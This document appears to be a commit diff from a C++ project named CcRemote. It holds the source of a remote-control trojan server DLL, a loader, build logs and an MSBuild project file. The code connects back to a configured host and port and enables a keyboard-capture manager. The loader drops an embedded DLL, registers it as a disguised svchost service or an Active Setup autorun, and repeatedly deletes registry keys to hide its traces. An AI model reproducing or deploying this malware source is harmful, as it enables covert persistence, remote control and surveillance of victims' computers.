hInstallMutex = CreateMutex(NULL, true, g_strHost);
//ReConfigService(strServiceName);
// ReConfigService(strServiceName);
// 删除安装文件
// DeleteInstallFile(lpServiceName);
// DeleteInstallFile(lpServiceName);
}
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
@@ -113,9 +149,9 @@ DWORD WINAPI main(char *lpServiceName)
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
// 接成功后声明了一个CKernelManager 到CKernelManager
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
// socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
//每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager
socketClient.setManagerCallBack(&manager);
@@ -132,7 +168,7 @@ DWORD WINAPI main(char *lpServiceName)
//////////////////////////////////////////////////////////////////////////
DWORD dwIOCPEvent;
dwTickCount = GetTickCount();//获取时间戳
dwTickCount = GetTickCount();// 获取时间戳
do
{
@@ -151,7 +187,7 @@ DWORD WINAPI main(char *lpServiceName)
#ifdef _DLL
//////////////////////////////////////////////////////////////////////////
// Restor WindowStation and Desktop
// 不需要恢复面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// 不需要恢复面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// SetProcessWindowStation(hOldStation);
// CloseWindowStation(hWinSta);
//
@@ -163,15 +199,6 @@ DWORD WINAPI main(char *lpServiceName)
CloseHandle(hInstallMutex);
}
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
@@ -183,8 +210,8 @@ BOOL APIENTRY DllMain( HMODULE hModule,
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
//CKeyboardManager::Initialization();
CKeyboardManager::m_dwLastMsgTime = GetTickCount();
CKeyboardManager::Initialization();
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
@@ -193,3 +220,154 @@ BOOL APIENTRY DllMain( HMODULE hModule,
return TRUE;
}
int TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
srvStatus.dwCurrentState = g_dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 1000;
return SetServiceStatus(hServiceStatus, &srvStatus);
}
void __stdcall ServiceHandler(DWORD dwControl)
{
// not really necessary because the service stops quickly
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
TellSCM(SERVICE_STOP_PENDING, 0, 1);
Sleep(10);
TellSCM(SERVICE_STOPPED, 0, 0);
break;
case SERVICE_CONTROL_PAUSE:
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
break;
case SERVICE_CONTROL_INTERROGATE:
TellSCM(g_dwCurrState, 0, 0);
break;
}
}
extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
{
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
if (hServiceStatus == NULL)
{
return;
}
else FreeConsole();
TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
// call Real Service function noew
g_dwServiceType = QueryServiceTypeFromRegedit(svcname);
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
do {
Sleep(100);//not quit until receive stop command, otherwise the service will stop
} while (g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
if (g_dwServiceType == 0x120)
{
//Shared的服务 ServiceMain 不退出不然一些系统上svchost进程也会退出
while (1) Sleep(10000);
}
return;
}
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
void TestFuns(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);
char strHost[] = "127.0.0.1"; // 声明上线地址
int nPort = 8088; // 声明上线端口
TestFuns(strHost, nPort);
}
extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
char strMyFileName[MAX_PATH], strCmdLine[MAX_PATH];
ZeroMemory(strMyFileName, MAX_PATH);
ZeroMemory(strCmdLine, MAX_PATH);
//得到自身文件名
GetModuleFileName(CKeyboardManager::g_hInstance, strMyFileName, MAX_PATH);
//构造启动参数
sprintf(strCmdLine, "%s %s,MainRun", "rundll32.exe", strMyFileName);
//启动服务端
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInformation;
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.lpDesktop = NULL;
StartInfo.lpReserved = NULL;
StartInfo.lpTitle = NULL;
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
StartInfo.cbReserved2 = 0;
StartInfo.lpReserved2 = NULL;
StartInfo.wShowWindow = SW_SHOWNORMAL;
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
}
DWORD WINAPI DelAXRegThread(LPVOID lpParam)
{
char ActiveXStr[1024]; // activex 键值字符串
char ActiveXStr32[1024]; // activex 键值字符串
ZeroMemory(ActiveXStr, 1024);
ZeroMemory(ActiveXStr32, 1024);
if (g_myAddress.ActiveXKeyGuid != NULL)
{
//构造键值
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
while (1)
{
//不停的删除注册表
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr);
OutputDebugString(ActiveXStr); // 输出删除的字串用以测试
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr32);
OutputDebugString(ActiveXStr32);
Sleep(1000 * 30);
}
}
return 0;
}

View File

@@ -11,3 +11,4 @@
#include "framework.h"
#endif //PCH_H

View File

@@ -0,0 +1,17 @@
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
f:\myapp\ccremote\bin\server\loder.exe
f:\myapp\ccremote\bin\server\loder.ilk
f:\myapp\ccremote\bin\server\loder.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog

View File

@@ -0,0 +1,30 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
Loder.cpp
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

366
CcMainDll/Loder/Loder.cpp Normal file
View File

@@ -0,0 +1,366 @@
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <afx.h>
#include <iostream>
#include <Windows.h>
#include "resource.h"
#include "RegEditEx.h"
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28257,"",0,"" };
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da, i, j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j++)
if (mem[i + j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;
HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
{
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
}
else
{
return false;
}
CloseHandle(hFile);
return true;
}
//要释放的路径 资源ID 资源名
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL)
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize;
LPBYTE p;
// 查找所需的资源
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
if (hResInfo == NULL)
{
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
{
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
{
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
return false;
}
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
// 设置guid
if (pActiveXKeyGuid != NULL)
{
g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个
int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD));
if (nOffset >= 0)
{
memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address));
strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid);
memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address));
}
}
bool bRet = CreateMyFile(strFilePath, p, dwSize);
if (!bRet)
{
GlobalFree((HGLOBAL)p);
return false;
}
GlobalFree((HGLOBAL)p);
return true;
}
char *AddsvchostService()
{
char *lpServiceName = NULL;
int rc = 0;
HKEY hkRoot;
char buff[2048];
//打开装所有svchost服务名的注册表键
//query svchost setting
char *ptr;
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if (ERROR_SUCCESS != rc)
return NULL;
DWORD type, size = sizeof buff;
//枚举他所有的服务名
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
SetLastError(rc);
if (ERROR_SUCCESS != rc)
RegCloseKey(hkRoot);
int i = 0;
bool bExist = false;
char servicename[50];
do
{
//这里获得类似这样的服务名netsvcs_0netsvcs_1
wsprintf(servicename, "netsvcs_0x%d", i);
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
{
//然后比对一下服务名中是否有这个名字了
if (lstrcmpi(ptr, servicename) == 0)
{
bExist = true;
break; //如果没有就跳出
}
}
if (bExist == false)
break;
bExist = false;
i++;
} while (1);
servicename[lstrlen(servicename) + 1] = '\0';
//然后将这个服务名写到所有服务名的后面,
//不要妄想直接用api在一个注册表的键值后面添加一些信息
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
RegCloseKey(hkRoot);
SetLastError(rc);
if (bExist == false)
{
lpServiceName = new char[lstrlen(servicename) + 1];
lstrcpy(lpServiceName, servicename);
}
//回到 InstallService
return lpServiceName;
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager)
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if (NULL != hService)
{
StartService(hService, 0, NULL);
CloseServiceHandle(hService);
printf("lpService");
}
CloseServiceHandle(hSCManager);
}
}
int ServerSetup()
{
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
char lpServiceDescription[]= "CcRemote服务";
char strModulePath[MAX_PATH];
char strSysDir[MAX_PATH];
char strSubKey[1024];
DWORD dwStartType = 0;
char strRegKey[1024];
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
//打开服务
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
GetSystemDirectory(strSysDir, sizeof(strSysDir));
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
char lpServiceDisplayName[128] = {0};
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
//这里返回新的服务名后就构造服务dll的名字
memset(strModulePath, 0, sizeof(strModulePath));
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
//然后构造服务中的描述信息的位置
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
schService = CreateService(
hscm, // SCManager database
lpServiceName, // name of service
lpServiceDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
bin, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
if (schService == NULL)
{
throw "CreateService(Parameters)";
printf("schServicenull");
}
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
hkRoot = HKEY_LOCAL_MACHINE;
//这里构造服务的描述键
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
{
DWORD dwServiceType = 0x120;
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
}
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
lstrcat(strSubKey, "\\Parameters");
//写入服务的描述
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
if (schService != NULL)
{
CreateEXE(strModulePath, IDR_DLL1, "DLL");
StartService(lpServiceName);
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
system("pause");
return 0;
}
BOOL GetNUM(char *num)
{
CoInitialize(NULL);
char buf[64] = { 0 };
GUID guid;
if (S_OK == ::CoCreateGuid(&guid))
{
_snprintf(buf, sizeof(buf)
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
, guid.Data1
, guid.Data2
, guid.Data3
, guid.Data4[0], guid.Data4[1], guid.Data4[2]
, guid.Data4[3], guid.Data4[4], guid.Data4[5]
, guid.Data4[6], guid.Data4[7]
);
}
CoUninitialize();
memcpy(num, buf, 64);
return TRUE;
}
void ActiveXSetup()
{
HKEY hKey;
char strFileName[MAX_PATH]; // dll文件名
char ActivexStr[1024]; // 用于存储ActiveX的键字串
char ActiveXKey[64]; // ActiveX 的GUID字串
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串
// ActiveX路径
char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\";
ZeroMemory(strFileName, MAX_PATH);
//ZeroMemory(ActiveXPath, MAX_PATH);
ZeroMemory(ActivexStr, 1024);
ZeroMemory(ActiveXKey, 64);
ZeroMemory(strCmdLine, MAX_PATH);
//得到Activex路径
//strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
//得到Activex的GUID
GetNUM(ActiveXKey);
//构造dll完整文件名
//GetSystemDirectory(strFileName, MAX_PATH);
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE);
strcat(strFileName, "\\");
strcat(strFileName, fileName);
strcat(strFileName, ".dll");
//构造ActiveX的注册表键值
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
//创建这个注册表
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);
//构造程序启动的命令行参数
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
//将参数写道注册表中
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
//RegCloseKey(hKey);
//释放文件
CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey);
//启动服务端
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInformation;
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.lpDesktop = NULL;
StartInfo.lpReserved = NULL;
StartInfo.lpTitle = NULL;
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
StartInfo.cbReserved2 = 0;
StartInfo.lpReserved2 = NULL;
StartInfo.wShowWindow = SW_SHOWNORMAL;
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
return;
}
int main()
{
// TODO: Place code here.
ActiveXSetup();
return 0;
}

BIN
CcMainDll/Loder/Loder.rc Normal file

Binary file not shown.

View File

@@ -0,0 +1,181 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>Loder</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\\..\\bin\\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\\..\\bin\\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
